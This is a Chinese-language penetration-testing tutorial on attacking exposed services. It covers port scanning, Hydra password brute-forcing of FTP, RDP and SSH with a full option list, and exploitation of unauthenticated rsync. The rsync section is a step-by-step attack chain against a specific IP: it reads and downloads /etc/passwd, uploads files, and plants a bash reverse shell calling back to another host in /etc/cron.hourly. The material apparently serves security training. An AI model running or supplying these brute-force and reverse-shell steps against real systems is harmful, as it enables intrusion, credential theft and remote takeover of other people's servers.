应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
端口扫描:利用Nmap和Masscan等工具进行扫描并发现所开放的端口。
组合应用:根据已知信息对某些服务的开放进行猜测。
举例:如果开发语言的PHP,那么很有可能数据库为MySQL
2、判断服务类型归属-数据库&文件传输&通讯等
服务类型:根据已知的端口去发现目标所开放的服务。
3、判断服务利用方式-特定漏洞&未授权&弱口令等
特定漏洞:开放服务根据不同的版本已经公开的所存在的漏洞。
未授权:利用某些工具或方式发现漏洞并进行有效的利用。
弱口令:密码过于简单或是单一所造成的漏洞
文件传输&远程控制
文件传输
FTP:文件传输协议,开放21端口。尝试利用Hydra工具进行弱口令爆破。
Rsync:Linux的文件传输协议,开放873端口。存在配置不当未授权访问
远程控制
RDP:Windows的远程控制协议,开放3389端口。尝试利用Hydra工具进行弱口令爆破。
SSH:Linux安全外壳协议,开放22端口。尝试利用Hydra工具进行弱口令爆破。
Hydra&Rsync漏洞解析
Hydra-FTP&RDP&SSH
工具下载链接: GitHub - vanhauser-thc/thc-hydra: hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
未授权访问-Rsync
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
利用:
-读取文件:rsync rsync://123.58.236.76:45854/src/
-下载文件:rsync rsync://123.58.236.76:45854/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd
反弹shell:
1、获取信息:
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt
2.创建文件
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell
3、上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly
4、等待接受反弹